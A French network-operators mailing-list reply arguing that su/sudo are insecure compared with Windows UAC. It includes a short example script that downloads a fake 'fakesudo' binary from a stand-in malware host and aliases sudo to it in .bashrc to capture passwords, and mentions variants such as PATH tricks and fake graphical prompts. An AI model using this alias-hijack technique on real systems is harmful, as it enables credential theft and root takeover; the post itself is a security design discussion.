On 2012-03-21 15:59, Radu-Adrian Feurdean wrote:
J'administre des serveurs Linux depuis presque dix ans. Je t'invite donc
à développer, si possible en arrêtant de me prendre pour un con.

Les setuid ne s'executent pas exactement dans le contexte de
l'utilisateur. Certes, ca prend en entree des choses aleatoires fournis
par l'utilisateur, mais ce n'est surtout pas le "n'importe quoi" dont tu
parles.

Je connais parfaitement le principe du setuid et je sais que su/sudo s'exécute en tant que root pour élever l'utilisateur, mais ce n'est pas ça dont je parle. Le problème dont je parle c'est que toute l'utilisation de su/sudo s'effectue dans un contexte (contexte au sens général, pas seulement utilisateur) dont la sécurité est exactement égale à zéro.

Je vais détailler en prenant comme exemple sudo (mais le principe est exactement le même avec su). Je pars du principe que sudo demande un mot de passe pour effectuer l'élévation, vu que si sudo ne demande aucun mot de passe alors c'est gagné avant même d'avoir commencé (j'exécute sudo et hop je me retrouve root).

Le cœur du problème est que sudo, dans le cas d'une utilisation typique, est exécuté dans le contexte d'un shell, qui lui même se trouve dans le contexte d'un terminal graphique, qui lui-même se trouve dans le contexte d'un serveur X. Tout ça représente une surface d'attaque grande comme un terrain de foot et qui ne présente aucune difficulté à exploiter. Tu vois où je veux en venir ? Considère par exemple ce script :

  wget http://malware.example.com/fakesudo -O ~/.foo
  chmod +x ~/.foo
  cat >> ~/.bashrc <<EOF
  alias sudo=~/.foo
  EOF

Tu remarqueras que toutes ces commandes n'ont pas besoin de privilèges particuliers pour fonctionner. "fakesudo" est un binaire malicieux conçu pour se faire passer pour sudo en exécutant le sudo original mais en interceptant stdin/stdout/pty (vois ça comme une attaque MITM mais avec des pipes).

Tu vois où je veux en venir ? À partir du moment où un attaquant à réussi à obtenir un accès shell utilisateur à ta machine, il exécute le script de 5 lignes ci-dessus et dès que tu utilises su/sudo c'est game over, il a le root et en cadeau bonus le mot de passe en clair de ton compte.

Il y a des tas de variantes possibles, tant dans l'exploitation (par exemple au lieu d'intercepter le mot de passe on remplace la commande à exécuter, ça a le mérite de fonctionner avec tout token d'authentification) que dans l'approche de l'attaque (on peut par exemple utiliser le terminal au lieu du shell, ou jouer avec le protocole X). Il est aussi possible de mener ce genre d'attaque sur les « sudo graphiques » (par exemple en imitant la fenêtre, ou en jouant avec le PATH, ou en trifouillant la configuration de l'environnement de bureau, ou…).

Si quelqu'un a une solution fiable pour ce problème, je suis tout ouïe. Pour l'instant la seule solution que je vois c'est de basculer sur une console tty en mode texte pour se logger en root, mais ça casse un peu tout le principe de la chose.

De ce point de vue UAC est infiniment supérieur. Lorsqu'une application demande l'élévation ce n'est pas une fenêtre de prompt classique qui s'affiche. À la place, le kernel (ou du moins un composant système) prend entièrement le contrôle de l'affichage, le grise et affiche la fenêtre de prompt UAC. Cette fenêtre fonctionne à un niveau d'intégrité supérieur, ce qui empêche les autres applications d'interagir avec pour éviter par exemple de simuler le clic sur le bouton de validation (ce principe vaut également pour l'ensemble de l'application une fois qu'elle est élevée). Un keylogger ne fonctionnera pas non plus pendant le temps où ladite fenêtre est affichée, et même s'il fonctionnait, il ne servirait à rien puisque dans la configuration par défaut, le prompt UAC ne demande pas de mot de passe (ce qui est ici une bonne chose !). C'est d'ailleurs pour la même raison qu'afficher un faux prompt UAC ne servirait à rien non plus. Il est également impossible d'altérer le programme qui se fait élever car, sauf grosse bourde dans la configuration, ce dernier n'est pas modifiable par un utilisateur non élevé.

Au final, il est très difficile pour un programme de s'élever sans que l'utilisateur humain valide lui-même de sa propre main le prompt UAC. Je dis « très difficile » pas « impossible » car, comme tout logiciel, il existe probablement des failles de sécurité, mais ici, ce sont des simples failles dans l'implémentation, pas un problème fondamental comme c'est le cas pour su/sudo.

--
Etienne Dechamps / e-t172 - AKE Group
Phone: +33 6 23 42 24 82


---------------------------
Liste de diffusion du FRnOG
http://www.frnog.org/

Répondre à